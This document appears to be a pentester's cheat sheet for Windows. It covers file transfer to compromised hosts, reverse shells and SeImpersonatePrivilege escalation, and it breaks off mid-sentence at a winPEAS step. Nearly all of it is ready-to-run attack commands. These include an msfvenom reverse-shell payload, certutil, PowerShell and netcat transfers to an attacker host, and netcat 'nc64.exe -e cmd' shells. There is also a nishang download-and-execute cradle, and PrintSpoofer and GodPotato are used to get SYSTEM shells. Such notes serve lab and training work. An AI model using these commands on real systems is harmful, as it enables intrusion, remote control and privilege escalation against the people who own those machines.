File Transfer and Reverse Shell

Generate a reverse shell payload

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.122.1 LPORT=7777 -f exe -o malicious.exe

Using certutil Certutil is a Windows tool that can download files:

certutil -urlcache -split -f http://attacker_ip/file.exe file.exe

Using PowerShell PowerShell (iwr) can download files via HTTP:

Invoke-WebRequest -Uri http://attacker_ip/file.exe -OutFile file.exe

Using FTP Windows supports FTP commands:

ftp
open <attacker_ip>
put file.txt
get file.txt

Using SMB Shares Files can be transferred using network shares:

net use \\<attacker_ip>\share /user:username password
copy file.exe \\<attacker_ip>\share

Netcat Set up a listener on the attacker machine:

nc -lvp 4444 > file.exe

Send the file from the target:

nc attacker_ip 4444 < file.exe

Python Simple HTTP Server On the attacker machine:

python3 -m http.server 80

On the target machine:

certutil -urlcache -split -f http://attacker_ip/file.exe file.exe

Spawning a Reverse Shell

cmd.exe

The cmd.exe reverse shell relies on utilities like ncat.exe to establish a connection. The process involves downloading the necessary binary, setting up a listener on the attacker machine, and initiating the reverse connection from the victim machine.

GitHub - int0x33/nc.exe: Netcat for windows 32/64 bitGitHub

Steps

Download ncat.exe on the Target Machine ncat.exe (a lightweight implementation of Netcat) is required for creating the reverse shell.
```
iwr -uri "https://raw.githubusercontent.com/int0x33/nc.exe/master/nc64.exe" -OutFile nc64.exe
```
Set Up a Listener on the Attacker Machine The attacker machine must have a listener ready to receive the reverse connection.
```
nc -lvnp 7777
```
Initiate the Reverse Shell from the Target Machine On the victim machine, execute the following command to connect back to the attacker and spawn a shell:
```
C:\Users\Quickemu\Desktop\nc64.exe 192.168.122.1 7777 -e cmd
```

Powershell

Using Invoke-PowerShellTcp.ps1 Script

Invoke-PowerShellTcp.ps1 is a PowerShell script designed for reverse shells.

nishang/Shells/Invoke-PowerShellTcp.ps1 at master · samratashok/nishangGitHub

Download the Script on the Attacker Machine

wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Configure the Script Add the line to specify the attacker's IP and port:

echo "Invoke-PowerShellTcp -Reverse -IPAddress <Attacker_Machine> -Port 7777" >> Invoke-PowerShellTcp.ps1

Host the Script on an HTTP Server Use Python to serve the script for download:
```
python3 -m http.server 1337
```
Start listening mode with Netcat on attacker machine
```
netcat -nvlp 7777
```

Execute the Script from the Target Machine

From CMD:

powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.122.1:1337/Invoke-PowerShellTcp.ps1\")"

From PowerShell:

iex(new-object net.webclient).downloadstring("http://<Attacker_Machine>:1337/Invoke-PowerShellTcp.ps1")

Win Priv Esc

SeImpersonatePrivilege

Checking for SeImpersonatePrivilege

To verify whether the current user has this privilege, run the following:

whoami /priv

Sample Output

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

If the SeImpersonatePrivilege is enabled, the user can exploit it for privilege escalation using tools like PrintSpoofer or GodPotato.

SeImpersonatePrivilege Privilege Escalation

Initial Setup

Start a Listener on the Attacker Machine
```
nc -lvnp 5555
```

Download Netcat on the Victim Machine

iwr -uri "https://raw.githubusercontent.com/int0x33/nc.exe/master/nc64.exe" -Outfile nc64.exe

PrintSpoofer

PrintSpoofer leverages misconfigured print spooler services to escalate privileges to SYSTEM.

Download the Exploit

iwr -uri "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" -Outfile PrintSpoofer64.exe

Execute the Exploit Run the following command to establish a SYSTEM shell:

PrintSpoofer64.exe -c "C:\Users\leonardo\Desktop\nc64.exe 192.168.122.1 5555 -e cmd"

GodPotato

Identify .NET Framework Version Use the following command to determine the .NET version installed:
```
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
```

Download the Appropriate GodPotato Version Depending on the .NET version:

.NET 2.0:

iwr -uri "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe" -Outfile GodPotato-NET2.exe

.NET 3.5:

iwr -uri "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe" -Outfile GodPotato-NET35.exe

.NET 4.0:

iwr -uri "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe" -Outfile GodPotato-NET4.exe

Execute the Exploit Use the appropriate executable to escalate privileges and spawn a reverse shell:
```
.\GodPotato-NET2.exe -cmd "C:\Users\leonardo\Desktop\nc64.exe 192.168.122.1 5555 -e cmd"
```

winPEAS

Download the binary:

wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/winPEASx64.exe

Running winPEAS to Enumerate Services
Use the servicesinfo option to gather information about services:
